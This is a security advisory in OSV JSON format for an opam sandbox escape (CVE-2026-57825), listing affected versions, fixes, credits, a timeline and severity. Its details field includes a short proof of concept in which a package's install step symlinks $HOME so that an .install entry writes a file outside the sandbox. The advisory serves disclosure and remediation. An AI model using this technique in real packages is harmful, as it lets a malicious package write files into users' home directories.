{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "opam-devel {\u003c \"2.5.2\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "opam-devel",
        "purl": "pkg:opam/opam-devel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "09c3df1ffb33cc0a09b3a81f36bb74898dce2120"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "248f8400e5ecb6ecbd7a672448477d08cedfdc24"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        }
      ],
      "versions": [
        "2.0~alpha5",
        "2.0.0~beta",
        "2.0.0~beta3",
        "2.0.0~beta3.1",
        "2.0.0~beta5",
        "2.0.0~rc",
        "2.0.0~rc2",
        "2.0.0~rc3",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9",
        "2.0.10",
        "2.1.0~beta2",
        "2.1.0~beta4",
        "2.1.0~rc",
        "2.1.0~rc2",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.0~alpha",
        "2.2.0~alpha2",
        "2.2.0~alpha3",
        "2.2.0~beta1",
        "2.2.0~beta2",
        "2.2.0~beta3",
        "2.2.0~rc1",
        "2.2.0",
        "2.2.1",
        "2.3.0~alpha1",
        "2.3.0~beta1",
        "2.3.0~beta2",
        "2.3.0~rc1",
        "2.3.0",
        "2.4.0~alpha1",
        "2.4.0~alpha2",
        "2.4.0~beta1",
        "2.4.0~rc1",
        "2.4.0",
        "2.4.1",
        "2.5.0~alpha1",
        "2.5.0~beta1",
        "2.5.0~rc1",
        "2.5.0",
        "2.5.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57825"
  ],
  "credits": [
    {
      "name": "Kate Deplaix",
      "type": "REPORTER"
    },
    {
      "name": "Nathan Rebours",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Raja Boujbel",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-693"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-10.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-10.json"
  },
  "details": "## Summary\n\nInstalling files through `.install` files do not check symlinks resolution of the target path, and so can bypass sandboxing.\n\n## Exploit\n\nLet\u0027s imagine a `test` package whose `test.install` file looks like the following:\n```\nshare_root: [\n  \"test\" {\"blah/pwnd\"}\n]\n```\nand `test.opam` file:\n```\nopam-version: \"2.0\"\ninstall: [\"sh\" \"-c\" \"ln -s \\\"$HOME\\\" \\\"%{share}%/blah\\\"\"]\n```\n\nInstalling this package will write the `pwnd` file in the home directory of the current user, bypassing sandboxing.\n\n## Timeline\n\n- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team\n- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks\n- 2026-07-08: opam 2.5.2 was released with the fix",
  "id": "OSEC-2026-10",
  "modified": "2026-07-07T12:00:00Z",
  "published": "2026-07-07T12:00:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7005"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7006"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opam install sandbox escape using symlinks"
}